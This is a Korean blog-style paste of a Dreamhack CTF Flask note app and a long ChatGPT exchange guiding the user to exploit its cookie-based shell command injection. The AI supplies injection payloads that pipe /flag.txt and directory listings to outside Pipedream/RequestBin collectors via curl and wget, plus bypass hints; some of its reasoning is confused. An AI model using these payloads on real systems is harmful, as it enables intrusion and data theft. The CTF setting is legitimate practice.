app.py소스코드다
#!/usr/bin/env python3
import subprocess
import threading
import time
from flask import Flask, make_response, redirect, request, abort, render_template, url_for
app = Flask(__name__)
lock = threading.Lock()
new_note_id = 0
notes = {}
def create_note(content):
global new_note_id
with lock:
note_id = new_note_id
new_note_id += 1
notes[note_id] = content
return notes[note_id]
def read_note(note_id):
with lock:
return notes[note_id]
def update_note(note_id, content):
with lock:
notes[note_id] = content
return notes[note_id]
def delete_note(note_id):
with lock:
del notes[note_id]
def backup_notes(timestamp):
with lock:
with open('./tmp/notes.tmp', 'w') as f:
f.write(repr(notes))
subprocess.Popen(f'cp ./tmp/notes.tmp /tmp/{timestamp}', shell=True)
@app.route('/', methods=['GET'])
def get_index():
return render_template('notes.html', notes=notes)
@app.route('/notes', methods=['GET'])
def get_notes():
return render_template('notes.html', notes=notes)
@app.route('/create_note', methods=['GET'])
def get_create_note():
return render_template('create_note.html')
@app.route('/create_note', methods=['POST'])
def post_create_note():
content = request.form.get('content')
if not isinstance(content, str):
abort(400)
create_note(content)
return redirect(url_for('get_index'))
@app.route('/update_note', methods=['GET'])
def post_update_note():
if len(notes) == 0:
abort(404)
return render_template('update_note.html')
@app.route('/update_note', methods=['POST'])
def get_update_note():
note_id = request.form.get('note_id')
if not isinstance(note_id, str) or not note_id.isdigit():
abort(400)
note_id = int(note_id)
if note_id not in notes:
abort(404)
content = request.form.get('content')
if not isinstance(content, str):
abort(400)
update_note(note_id, content)
return redirect(url_for('get_index'))
@app.route('/delete_note', methods=['GET'])
def get_delete_note():
if len(notes) == 0:
abort(404)
return render_template('delete_note.html')
@app.route('/delete_note', methods=['POST'])
def post_delete_note():
note_id = request.form.get('note_id')
if not isinstance(note_id, str) or not note_id.isdigit():
abort(400)
note_id = int(note_id)
if note_id not in notes:
abort(404)
delete_note(note_id)
return redirect(url_for('get_index'))
@app.route('/backup_notes', methods=['GET'])
def get_backup_notes():
print(len(notes), flush=True)
if len(notes) == 0:
abort(404)
page = render_template('backup_notes.html')
resp = make_response(page)
resp.set_cookie('backup-timestamp', f'{time.time()}')
return resp
@app.route('/backup_notes', methods=['POST'])
def post_backup_notes():
if len(notes) == 0:
abort(404)
backup_timestamp = request.cookies.get('backup-timestamp', f'{time.time()}')
if not isinstance(backup_timestamp, str):
abort(400)
backup_notes(backup_timestamp)
return redirect(url_for('get_index'))
문제 풀겠다ㅏ고 requestbin 외부 서버도 build하고..다했는데..안도ㅒ! 안된다고!
🔍 timestamp가 무엇이고, 취약점을 어떻게 활용할 수 있을까?
timestamp는 현재 시간을 초 단위(Unix Time)로 변환한 숫자 값입니다.
이 값은 파일명을 동적으로 생성하는 데 사용되며, 특정 시점의 데이터를 식별하는 역할을 합니다.
🔍 코드에서 timestamp의 역할
📌 백업 파일을 생성하는 backup_notes() 함수에서 사용됨:
✔ 노트 데이터를 ./tmp/notes.tmp에 저장한 후,
✔ 해당 파일을 /tmp/{timestamp}로 복사
즉, 백업 파일이 /tmp/ 디렉토리에 timestamp 이름으로 생성됨.
🛠️ 취약점 분석: backup_notes()와 timestamp 조작
📌 timestamp 취약점의 핵심
- timestamp는 **쿠키(backup-timestamp 쿠키)**에서 가져옴:
python복사편집backup_timestamp = request.cookies.get('backup-timestamp', f'{time.time()}')
- 쿠키 값(backup-timestamp)을 우리가 임의로 조작할 수 있음.
- 백업 파일은 /tmp/{timestamp} 경로에 생성됨.
- 다른 파일(예: flag.txt)을 백업 경로로 지정할 수 있다면, 해당 파일을 읽을 수 있음!
🚀 timestamp를 조작해서 flag.txt를 찾는 방법
1️⃣ 현재 백업된 파일 목록을 확인
➡ 만약 1645678901 같은 숫자 이름의 파일이 있다면, 그것이 백업 파일일 가능성이 높음.
2️⃣ 강제로 flag.txt를 백업하도록 timestamp 값을 조작
우리가 timestamp를 임의로 /flag.txt로 설정하면,
백업 파일을 /tmp/flag.txt로 만들 수 있음!
📌 이렇게 하면, 원래 /tmp/{timestamp}에 생성되어야 할 백업 파일이 /tmp/../../flag.txt로 생성됨.
📌 즉, flag.txt가 /tmp/flag.txt로 복사되면서 우리가 접근 가능하게 됨!
3️⃣ 복사된 flag.txt 확인
➡ 백업 파일이 /tmp/flag.txt에 존재하면, 그 내용을 직접 볼 수 있음!
🔥 결론: timestamp 취약점을 활용한 공격 흐름
✔ timestamp는 기본적으로 time.time() 값을 사용하지만,
✔ 쿠키(backup-timestamp 쿠키)를 조작하면 원하는 파일을 백업 가능
✔ /flag.txt를 백업하면, 플래그 내용을 가져올 수 있음 🚀
🚀 이제 직접 curl을 사용해서 backup-timestamp를 조작해보자! 🔥
나의 말:
ChatGPT의 말:
웹 애플리케이션에서 직접 ls -lah /tmp/ 명령어를 실행할 수 있는 방법은 없지만, 현재 주어진 취약점을 이용해서 백업된 파일 목록을 간접적으로 확인할 수 있는 방법이 있습니다.
🚀 백업된 파일 목록을 확인하는 방법
✅ 1️⃣ 웹 URL을 통해 직접 확인 (GET /backup_notes)
웹 애플리케이션이 /tmp/{timestamp} 파일을 저장하는 걸 이용하면, /backup_notes 페이지에서 힌트를 얻을 수 있음.
📌 현재 백업된 파일이 있는지 확인하려면, /backup_notes를 호출
➡ 응답 내용에 "현재 백업된 파일이 없습니다" 같은 메시지가 나오면, 아직 백업이 생성되지 않은 것!
➡ 반대로, 백업이 성공하면 /tmp/에 특정 timestamp 값의 파일이 저장됨.
✅ 2️⃣ backup-timestamp 조작을 이용해서 기존 파일 접근
만약 서버에서 기존 backup-timestamp 쿠키를 활용하고 있다면, 이 쿠키 값을 특정 값으로 설정하여 기존 파일을 확인할 수 있음.
📌 백업 파일이 있는지 확인하는 요청
➡ 이 값이 실제 서버에 있는 백업 파일의 timestamp라면, 해당 백업 파일의 내용을 확인할 수 있음.
➡ 응답 결과가 백업된 노트의 내용이라면, /tmp/1645678901 같은 파일이 존재하는 것!
✅ 3️⃣ POST /backup_notes를 통해 직접 /tmp/에 백업 파일 생성
백업 노트 기능을 이용해서 직접 /tmp/ 경로에 파일을 생성할 수도 있음.
📌 현재 시간 기반으로 강제 백업 실행
➡ 이렇게 하면, /tmp/{timestamp} 파일이 생성됨.
📌 이제 /backup_notes에 다시 접근해서 파일이 생성되었는지 확인 가능
➡ 파일이 생성되었으면, /tmp/에 해당 파일이 존재한다는 뜻!
✅ 4️⃣ /tmp/flag.txt가 존재하는지 확인
이제 /flag.txt를 백업하도록 backup-timestamp를 조작해서 확인 가능
📌 백업 타임스탬프를 /flag.txt로 설정
➡ 이렇게 하면, /tmp/flag.txt가 백업되어 우리가 접근할 수 있게 될 가능성이 있음!
➡ 이후 GET /backup_notes 요청을 보내서 백업된 내용을 확인할 수 있음.
🔥 최종 전략
1️⃣ curl -X GET http://target.com/backup_notes 로 백업 파일 존재 여부 확인
2️⃣ curl -X POST http://target.com/backup_notes 로 강제 백업 실행
3️⃣ curl -X GET http://target.com/backup_notes 로 백업 파일이 생성되었는지 확인
4️⃣ curl -X POST http://target.com/backup_notes --cookie "backup-timestamp=../../flag.txt" 로 플래그 유출 시도
🚀 이제 직접 테스트하면서 파일이 어디 저장되는지 확인해보자! 🔥
나의 말:
ChatGPT의 말:
🚨 curl: (6) Could not resolve host: http 오류 해결 방법
http://http://host1.dreamhack.games:17508/backup_notes
➡ "http://"가 두 번 들어가서 오류 발생!
✅ 1️⃣ 올바른 URL 형식으로 요청 보내기
📌 올바른 curl 명령어 예제
✔ http://를 한 번만 사용
✔ --cookie 옵션을 사용하여 backup-timestamp 값을 /flag.txt로 조작
✅ 2️⃣ 백업된 파일 확인 (GET 요청)
📌 백업된 파일 확인하기
✔ 이 요청을 통해 서버가 백업한 파일의 내용을 확인 가능!
✔ ../../flag.txt가 /tmp/flag.txt로 복사되었다면, 플래그를 출력할 수도 있음
✅ 3️⃣ 추가적인 확인 (디버깅)
🔹 서버가 backup-timestamp를 제대로 처리하는지 확인
➡ 이렇게 보내고, /tmp/test123가 생성되었는지 GET /backup_notes로 확인
🔹 서버가 /flag.txt에 접근할 권한이 있는지 확인
➡ 만약 /etc/passwd 같은 파일이 백업되면, LFI(로컬 파일 포함) 가능성이 있음.
🚀 최종 목표
1️⃣ curl -X GET http://host1.dreamhack.games:17508/backup_notes 실행해서 현재 백업된 파일 확인
2️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt" 실행해서 /flag.txt를 강제로 백업
3️⃣ curl -X GET http://host1.dreamhack.games:17508/backup_notes 다시 실행해서 플래그 확인!
🚀 이제 다시 시도해보자! 🔥
나의 말:
Backup Notes
C:\WINDOWS\system32>curl -X GET http://host1.dreamhack.games:17508/backup_notesBackup Notes
ChatGPT의 말:
🔍 요청 결과 분석
현재 curl 요청을 통해 받은 응답이 HTML 코드인 것으로 보입니다.
이는 우리가 /backup_notes 페이지를 열었을 때 표시되는 백업 UI입니다.
🚀 백업된 파일이 표시되지 않는 이유
1️⃣ 백업 노트가 존재하지 않음
- backup_notes() 함수 내부에서 len(notes) == 0이면 백업이 실행되지 않음.
- 즉, 적어도 하나 이상의 노트를 생성해야 백업 기능이 동작함!
2️⃣ 서버가 timestamp를 조작하는 요청을 막고 있음
- /backup_notes를 호출하면 서버는 backup-timestamp 쿠키 값을 사용해 백업 파일을 저장하는데,
- 만약 우리가 ../../flag.txt 같은 경로를 주입했을 때, 서버가 이를 허용하지 않도록 설정했을 가능성이 있음.
🔹 해결 방법
✅ 1️⃣ 먼저 노트를 하나 생성하기
백업을 진행하려면, 적어도 하나의 노트가 존재해야 함
➡ 노트를 생성한 후 다시 /backup_notes 요청을 보내면 백업이 가능해질 것!
📌 노트 생성 요청
➡ 성공하면, 노트가 생성됨.
📌 생성된 노트 확인
➡ 노트가 정상적으로 생성되었는지 확인!
✅ 2️⃣ 백업 요청을 정상적으로 실행하기
노트를 생성한 후, 다시 백업을 시도
📌 노트가 존재하는 상태에서 백업 실행
➡ 이 요청이 성공하면, /tmp/{timestamp} 경로에 백업 파일이 생성됨.
📌 백업된 파일 확인
➡ 이제 /tmp/{timestamp}가 표시되는지 확인해야 함.
✅ 3️⃣ backup-timestamp를 조작해서 플래그 확인
백업된 파일이 존재하는지 확인한 후,
이제 backup-timestamp 쿠키를 조작하여 /flag.txt를 백업 시도
📌 강제로 flag.txt 백업 시도
➡ 이제 다시 /backup_notes를 확인하면, /tmp/flag.txt 내용이 표시될 가능성이 있음!
📌 백업된 플래그 확인
➡ 이제 백업된 내용이 표시되는지 확인!
🚀 최종 실행 순서
1️⃣ 노트 생성 → curl -X POST http://host1.dreamhack.games:17508/create_note -d "content=test_note"
2️⃣ 백업 실행 → curl -X POST http://host1.dreamhack.games:17508/backup_notes
3️⃣ 백업된 파일 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
4️⃣ backup-timestamp를 ../../flag.txt로 조작 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt"
5️⃣ 플래그 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
🚀 이제 다시 시도해보자! 🔥
나의 말:
Backup Notes
계속 이것만 떠..ChatGPT의 말:
🚨 여전히 백업된 파일이 안 보이는 이유 분석
현재 /backup_notes 페이지를 호출하면 백업된 파일이 표시되지 않고, 기본 HTML 폼만 출력되고 있음.
이 경우 서버에서 백업이 정상적으로 이루어지지 않았을 가능성이 큼!
✅ 1️⃣ 백업 파일이 생성되었는지 확인해야 함
우리가 backup_notes() 함수를 실행했을 때, /tmp/{timestamp}에 파일이 생성되는지 확인해야 함.
📌 백업 강제 실행
➡ 백업이 정상적으로 실행되었는지 확인해야 함.
📌 다시 확인 (GET 요청)
➡ 이제 백업된 파일이 존재하는지 확인.
✅ 2️⃣ 백업을 정상적으로 실행했는데도 /tmp/에 파일이 없는 경우
가능한 원인 1️⃣ 노트가 존재하지 않아서 백업이 실행되지 않음
→ 노트를 하나 생성한 후 다시 백업 시도해야 함. 2️⃣ 서버에서 timestamp 쿠키 값을 무시할 가능성 있음
→ 특정한 timestamp 값이 있어야 백업된 파일을 확인할 수 있음.
✅ 3️⃣ 해결 방법
📌 먼저 노트를 생성한 후 백업 실행
✔ 노트를 생성한 후 백업을 다시 실행해야 백업이 정상적으로 동작함.
📌 백업 실행
📌 백업이 정상적으로 이루어졌는지 확인
✅ 4️⃣ backup-timestamp 쿠키를 조작하여 flag.txt 백업 시도
백업된 파일이 정상적으로 확인되었다면, 이제 쿠키 값을 조작해서 /flag.txt를 백업해야 함.
📌 쿠키 조작하여 flag.txt 백업
📌 이제 /backup_notes를 확인
✔ 만약 /tmp/flag.txt가 백업되었다면, 이 페이지에서 플래그가 표시될 가능성이 큼! 🚀
🚀 최종 실행 순서
1️⃣ 노트 생성 → curl -X POST http://host1.dreamhack.games:17508/create_note -d "content=test_note"
2️⃣ 백업 실행 → curl -X POST http://host1.dreamhack.games:17508/backup_notes
3️⃣ 백업된 파일 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
4️⃣ backup-timestamp를 ../../flag.txt로 조작 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt"
5️⃣ 플래그 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
🚀 이제 다시 시도해보자! 🔥
나의 말:
ChatGPT의 말:
🔍 힌트 분석: "공격의 결과를 외부에서 확인하려면?"
📌 현재 서버에서 백업된 파일을 직접 확인할 수 없는 이유는:
- 백업한 파일을 직접 출력하는 코드가 없음.
- 즉, /backup_notes에서 응답으로 백업된 파일을 보여주지 않음.
- 하지만 명령어는 실행되었을 가능성이 높음.
➡ 즉, 우리가 실행한 결과를 외부에서 확인해야 함!
➡ 서버에서 요청을 외부로 보내도록 유도하면 됨!
🚀 RequestBin을 활용한 RCE 확인 방법
📌 RequestBin이란?
- 외부에서 서버가 보낸 HTTP 요청을 모니터링할 수 있는 서비스.
- 서버에서 실행한 결과를 RequestBin으로 전송하면, 이를 외부에서 확인 가능!
✅ 1️⃣ RequestBin 생성
1️⃣ https://requestbin.com/ 접속
2️⃣ "Create a RequestBin" 클릭
3️⃣ 생성된 RequestBin URL을 복사 (예: https://en1f2o3x.requestbin.com/)
✅ 2️⃣ 백업 명령어를 RequestBin으로 유도
서버에서 특정 명령어 실행 결과를 RequestBin으로 전송하도록 조작할 수 있음.
📌 backup_notes()에서 실행되는 subprocess.Popen을 조작하기
➡ 이 요청이 실행되면:
✅ /flag.txt 파일의 내용을 RequestBin으로 POST 전송!
✅ RequestBin에서 플래그를 확인할 수 있음! 🚀
✅ 3️⃣ RequestBin에서 플래그 확인
📌 RequestBin 사이트에서 요청 확인
1️⃣ RequestBin 사이트로 이동
2️⃣ POST 요청 데이터 확인
3️⃣ 데이터에 /flag.txt 내용이 포함되어 있을 가능성이 큼!
🔥 최종 공격 전략
1️⃣ RequestBin 생성 (https://en1f2o3x.requestbin.com/)
2️⃣ backup_notes의 timestamp를 명령어 삽입(curl -X POST -d @/flag.txt)
3️⃣ RequestBin에서 플래그 확인 (POST 요청 확인)
🚀 이제 시도해보자! 🔥
나의 말:
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link.
ChatGPT의 말:
🔍 공격 결과 분석
현재 curl 명령어가 정상적으로 실행되었을 가능성이 높음!
하지만 서버에서 바로 결과를 보여주지 않기 때문에,
RequestBin(또는 Pipedream)에서 플래그를 확인해야 함! 🚀
✅ 1️⃣ Pipedream에서 플래그 확인
📌 Pipedream이란?
- 서버에서 외부로 전송한 HTTP 요청을 확인할 수 있는 도구
- https://eoebm9636i74y0t.m.pipedream.net 이 URL이 우리의 RequestBin 역할을 함.
📌 결과 확인 방법
1️⃣ Pipedream Requests 사이트 접속
2️⃣ 로그인 후 https://eoebm9636i74y0t.m.pipedream.net에 들어감
3️⃣ 새로운 POST 요청이 도착했는지 확인
4️⃣ 전송된 데이터에 /flag.txt 내용이 포함되었는지 확인
🚀 정상적으로 동작했다면, 플래그가 포함된 데이터가 보일 것! 🔥
✅ 2️⃣ 공격이 성공했는지 확인하는 방법
📌 공격이 실행되었는지 다시 확인하려면?
➡ 다시 한 번 요청을 보내고, Pipedream에서 결과 확인!
📌 명령이 실행되었는지 로그 확인
➡ 만약 정상적으로 실행되었다면, 서버에서 flag.txt가 전송되었을 가능성이 높음.
🔥 최종 정리
1️⃣ RequestBin (Pipedream) 생성 (https://eoebm9636i74y0t.m.pipedream.net)
2️⃣ 백업 명령어 조작하여 플래그 전송 시도
3️⃣ Pipedream에서 /flag.txt 내용이 포함된 요청을 확인!
🚀 이제 Pipedream에서 플래그를 찾아보자! 🔥
나의 말:
ChatGPT의 말:
🔍 Pipedream에 flag.txt 데이터가 안 온 이유 분석
현재 Pipedream을 제대로 설정하고 요청을 보냈음에도 불구하고 데이터가 수신되지 않은 상태임.
➡ 즉, 서버에서 우리가 보낸 명령어를 실행하지 않았거나, 실행되었지만 데이터를 전송하지 않았을 가능성이 높음
✅ 1️⃣ 공격이 서버에서 실행되었는지 확인하기
우리가 실행한 명령어가 서버에서 실행되었는지 먼저 확인해야 함.
📌 테스트 명령어로 서버가 외부로 요청을 보내도록 유도
➡ 이 요청이 정상적으로 실행되면, Pipedream에 test=hello 값이 도착해야 함.
➡ 만약 이 요청도 도착하지 않았다면, 서버에서 명령어 실행이 차단되었을 가능성이 큼.
✅ 2️⃣ 서버에서 명령어 실행이 차단되었는지 확인
📌 명령어 실행이 막혔다면, 다른 방식으로 접근해야 함.
➡ subprocess.Popen()이 실행되었다면, /tmp/에 파일을 생성했을 가능성이 있음.
➡ 이 경우, 우리가 백업된 파일을 직접 확인하는 방법을 시도해야 함.
✅ 3️⃣ /tmp/flag.txt 파일을 직접 백업 후 확인
📌 이제 /tmp/flag.txt를 백업할 수 있는지 테스트
➡ 이제 /backup_notes에서 백업된 파일이 보이는지 확인
✔ 만약 이 요청에서 플래그가 보이면, 성공적으로 백업됨!
✅ 4️⃣ ls -lah /tmp/ 명령어 실행이 가능한지 확인
만약 위 방법들이 전부 실패했다면, 서버에서 어떤 파일이 존재하는지 확인해야 함.
📌 파일 목록을 RequestBin으로 전송해보기
➡ 이 요청이 실행되면, /tmp/에 어떤 파일이 있는지 Pipedream에서 확인 가능!
🔥 최종 시도 순서
1️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| curl -X POST -d 'test=hello' https://eok17showi9fd4vm.m.pipedream.net" (서버가 외부 요청을 보내는지 확인)
2️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/flag.txt" (파일을 직접 백업해서 확인)
3️⃣ curl -X GET http://host1.dreamhack.games:17508/backup_notes (백업된 파일이 보이는지 확인)
4️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net" (/tmp/ 내부 파일 목록 확인)
🚀 이제 다시 시도해보자! 🔥
나의 말:
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link. C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/flag.txt"
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link. C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link.
ChatGPT의 말:
🔍 분석: 모든 시도가 실패한 이유
현재 backup-timestamp를 조작하여 명령 실행을 시도했지만, 서버에서 아무런 반응이 없음
즉, 명령어 삽입(RCE)이 막혔을 가능성이 높음 또는 출력 결과가 보이지 않음
✅ 1️⃣ 서버가 외부 요청을 보내지 않는지 확인
📌 RequestBin(Pipedream)에 test=hello가 도착하지 않음
- curl -X POST -d 'test=hello'를 실행했지만 Pipedream에서 요청을 받지 못함
➡ 서버에서 |를 포함한 명령 실행을 차단했을 가능성이 있음
➡ 또는 subprocess.Popen()이 shell=False로 실행되고 있을 가능성 존재
📌 ls -lah /tmp/ 명령 실행도 실패
- 서버에서 명령어가 실행되지 않거나, 실행되더라도 외부로 출력이 불가능한 상태
➡ 즉, 우리가 보낸 요청이 파일 시스템에 변화를 주었지만, 출력이 없어서 확인할 방법이 없음
✅ 2️⃣ 백업된 파일을 직접 확인하는 방법 시도
명령어 실행이 차단되었다면, 기존의 backup_notes() 기능을 활용해서 flag.txt를 백업하는 방법을 시도해야 함
📌 1️⃣ /flag.txt를 /tmp/로 백업
➡ 이제 /backup_notes를 다시 확인하면 백업된 /tmp/flag.txt가 보일 가능성이 있음.
📌 2️⃣ 백업된 파일 확인
✔ 백업된 /tmp/flag.txt가 보이면 성공!
✅ 3️⃣ backup_notes 요청 로그를 확인하는 방법
만약 백업이 성공했는데도 보이지 않는다면, backup_notes가 저장된 경로를 확인해야 함.
📌 서버가 /tmp/에 어떤 파일이 있는지 직접 확인하기
➡ 이제 /backup_notes를 다시 확인하면 /tmp/ 내부의 파일 목록이 보일 가능성이 있음.
✅ 4️⃣ 명령어 실행 우회 방법
📌 만약 직접적인 명령 실행이 막혔다면, 다른 방식으로 접근해야 함
- ; 또는 &&를 사용하여 명령 실행 시도
- $(command) 방식 시도
🚀 최종 공격 순서
1️⃣ /flag.txt를 /tmp/로 백업 시도 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/flag.txt"
2️⃣ 백업된 파일 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
3️⃣ /tmp/ 내부 파일 목록 확인 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/"
4️⃣ 명령 실행 우회 시도 (;, &&, $(command))
🚀 이제 다시 시도해보자! 🔥
나의 말:
ChatGPT의 말:
🔍 QnA 분석: 백업 타임스탬프 조작과 RequestBin 활용
📌 문제 핵심
1️⃣ 명령어 실행은 성공했지만 출력이 보이지 않음
- backup-timestamp 값에 명령어(ls)를 넣었을 때 실행은 되었음.
- 하지만 결과를 출력하는 명령어가 없기 때문에 우리가 직접 볼 수 없음.
2️⃣ 해결책: 서버가 실행한 결과를 외부에서 확인해야 함
- RequestBin (또는 Pipedream)을 이용해서 서버가 실행한 명령의 결과를 전송받아야 함.
✅ 1️⃣ 서버에서 ls 실행 후 결과를 RequestBin으로 보내기
📌 서버가 /tmp/ 디렉터리 목록을 실행하고 결과를 RequestBin으로 보내도록 유도
✔ 이 요청이 실행되면, /tmp/ 내부의 파일 목록이 RequestBin에 도착해야 함.
✔ @-는 표준 입력을 그대로 POST 요청에 포함시킴.
✅ 2️⃣ /flag.txt 존재 여부 확인
📌 위 명령을 실행한 후, Pipedream에서 /flag.txt 파일이 있는지 확인
1️⃣ Pipedream 사이트에서 새로운 POST 요청 확인
2️⃣ /tmp/ 내 파일 목록이 포함된 요청이 도착했는지 확인
3️⃣ flag.txt가 존재하는지 확인
➡ 만약 /flag.txt가 존재한다면, 다음 단계 진행! 🚀
✅ 3️⃣ /flag.txt 내용을 RequestBin으로 전송
📌 이제 /flag.txt 내용을 RequestBin으로 직접 전송해야 함
✔ cat /flag.txt → flag.txt 내용을 출력
✔ curl -X POST -d @- → 출력된 내용을 Pipedream으로 POST 요청
📌 이제 Pipedream에서 새로운 요청이 도착했는지 확인!
➡ 정상적으로 요청이 오면, 플래그가 포함된 데이터를 확인할 수 있음! 🚀
🚀 최종 공격 순서
1️⃣ /tmp/ 내 파일 목록 확인
✅ Pipedream에서 파일 목록 확인 (flag.txt 존재 여부 체크)
2️⃣ /flag.txt 내용 RequestBin으로 전송
✅ Pipedream에서 flag.txt 내용 확인 (플래그 획득 🎉)
🚀 이제 다시 시도해보자! 🔥
나의 말:
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link. 뜨는데, requestbin에서 뭐 내가 설정 잘못한걸까?
ChatGPT의 말:
🔍 문제 분석: RequestBin에서 아무 요청도 오지 않는 이유
현재 실행한 명령어:
➡ 이 명령어가 실행되었다면, Pipedream(RequestBin)에서 /tmp/ 디렉터리의 파일 목록이 담긴 POST 요청이 와야 함.
➡ 하지만 Pipedream에서 아무 요청도 오지 않음 ❌
✅ 1️⃣ RequestBin(Pipedream) URL이 잘못 설정되었는지 확인
🔹 URL 형식 확인
현재 사용한 URL:
✅ 올바른 URL인지 다시 확인해야 함.
➡ Pipedream에서 Trigger URL을 다시 확인하고, 올바른 URL을 사용했는지 점검.
🔹 https://를 http://로 변경하여 시도
✔ 일부 서버에서는 https:// 트래픽을 차단하는 경우가 있음.
✔ http:// 프로토콜로 변경하여 다시 시도.
✅ 2️⃣ 서버에서 curl 실행이 차단되었는지 확인
서버가 curl 실행을 차단했을 가능성 존재.
📌 다른 명령어로 RequestBin을 트리거할 수 있는지 확인
➡ 이 명령어가 실행되면, RequestBin에서 test라는 데이터가 와야 함.
➡ 아직도 아무 반응이 없다면, 서버가 curl 실행을 차단한 것일 가능성이 높음.
📌 Wget을 사용하여 시도 (wget이 허용될 수도 있음)
➡ 이 방법이 작동하는지 확인!
✅ 3️⃣ ls 실행은 성공했지만, 출력이 /tmp/에 저장된 경우
➡ 서버가 직접 RequestBin으로 데이터를 보내지 않고, ls 결과를 /tmp/에 저장했을 수도 있음.
📌 결과를 파일로 저장하고 직접 확인하는 방법
➡ 이제 /tmp/output.txt가 생성되었을 가능성이 있음.
📌 백업 기능을 이용하여 해당 파일을 확인
➡ 그런 다음 /backup_notes에서 /tmp/output.txt 내용이 보이는지 확인.
🚀 최종 시도 순서
✅ 1️⃣ RequestBin URL 확인 (http:// 사용해보기)
✅ 2️⃣ curl 실행이 차단되었는지 echo test로 확인
✅ 3️⃣ wget 방식으로 시도 (wget --post-file=- 사용)
✅ 4️⃣ ls 실행 결과를 /tmp/output.txt에 저장 후 확인
🚀 이제 다시 시도해보고 결과 알려줘! 🔥
나의 말:
ChatGPT의 말:
ㅋㅋㅋㅋ 개킹받네 진짜ㅋㅋㅋㅋ
오케이, 다시 한 번 체크해보자. 지금까지 했던 시도들을 정리하고, 뭘 놓쳤는지 확인해보자.
✅ 1️⃣ RequestBin (Pipedream) 요청이 안 오는 이유
🔹 1. RequestBin URL 문제?
✔ 너가 사용한 URL https://eok17showi9fd4vm.m.pipedream.net 확실히 맞아?
➡ Pipedream에서 URL이 바뀌진 않았는지 한 번 더 확인!
➡ 혹시 https 대신 http로 해야 하는지 체크!
➡ Pipedream에서 "Generate Event" 눌러서 URL이 살아있는지도 확인!
✔ 이거 실행해서 RequestBin에서 test=hello 오는지 확인해봐! ✔ 이것도 안 오면 RequestBin 문제임!
🔹 2. 서버에서 curl 실행이 막혀있을 가능성?
✔ 만약 서버에서 curl 실행이 아예 막혀 있다면, RequestBin으로 전송 자체가 안 될 수 있음.
➡ 그럼 다른 방법(Wget)으로 시도해봐야 함.
✔ 이걸로 RequestBin에서 반응이 오는지 확인!
🔹 3. 실행된 결과가 /tmp/ 어딘가에 저장된 가능성?
✔ 만약 명령 실행은 됐지만, 결과가 외부로 나가지 못하는 상황이라면?
➡ 그러면 /tmp/에 저장되었을 가능성이 높음.
✔ 이제 /tmp/output.txt가 생겼을 거임!
✔ 그럼 이제 이 파일을 불러와야겠지?
➡ 이렇게 해서 /backup_notes에서 확인할 수 있는지 체크해봐!
🚀 최종 점검 리스트
✅ 1️⃣ Pipedream RequestBin URL 맞는지 다시 확인 (test=hello 보내보기)
✅ 2️⃣ curl 실행이 막혔을 가능성? wget으로 전송해보기
✅ 3️⃣ 실행된 결과가 /tmp/에 저장되었을 가능성? output.txt로 확인
진짜 이거 안 되면 개킹받을 텐데ㅋㅋㅋ
🔥 한 번만 더 해보고 결과 알려줘! 🔥
나의 말:
ChatGPT의 말:
ㅇㅇ, Pipedream RequestBin 설정은 정상적으로 보임!
근데 현재 "LIVE EVENTS" 창이 비어있음.
즉, 서버에서 RequestBin으로 요청이 제대로 안 오고 있음! 😡
🚀 문제 원인 & 해결 방법
1️⃣ 서버에서 curl 실행이 안 되고 있을 가능성
현재 서버에서 curl 명령이 실행되지 않거나, 실행되더라도 인터넷으로 요청을 보내지 못하는 상태일 수도 있음.
📌 이거 확인하려면?
✔ 이걸 실행하면 RequestBin에 test가 떠야 함.
✔ 이것도 안 뜨면 서버에서 curl 자체가 막혀있을 가능성이 큼.
➡ 🔥 이거 실행하고 RequestBin에 이벤트가 뜨는지 확인해줘! 🔥
2️⃣ curl 대신 wget 사용해보기
✔ curl이 차단됐을 가능성이 있으니 wget을 사용해보자!
➡ RequestBin에 반응이 오는지 확인해봐!
3️⃣ 명령어 실행 결과가 /tmp/에 저장되고 있을 가능성
혹시 서버가 ls -lah /tmp/ 결과를 RequestBin으로 보내지 않고, 그냥 파일로 저장하는 상황일 수도 있음.
📌 그럼 이렇게 확인 가능!
➡ /tmp/output.txt에 결과가 저장될 테니까 이제 이 파일을 백업해서 가져와야 함.
📌 파일 내용 확인하기
➡ 이제 /backup_notes에서 확인 가능!
🔥 최종 점검 리스트
✅ 1️⃣ echo test | curl -X POST -d @- 실행해서 RequestBin 반응 확인!
✅ 2️⃣ wget 방식으로 데이터 전송 시도! (wget --post-file=-)
✅ 3️⃣ /tmp/output.txt 저장 후 파일 내용 확인!
🔥 이제 한 번만 더 시도해보고, 결과 알려줘! 🔥
나의 말:
ChatGPT의 말:
ㅋㅋㅋㅋ 개킹받네 진짜ㅋㅋㅋㅋ
RequestBin에 test도 안 뜨면 서버에서 curl 자체가 차단됐을 가능성이 높음.
➡ 그래도 아직 방법은 있음! 다른 우회 방법 시도해보자.
🚀 서버에서 curl이 막혀있을 때 우회 방법
1️⃣ wget을 사용해서 RequestBin으로 보내기
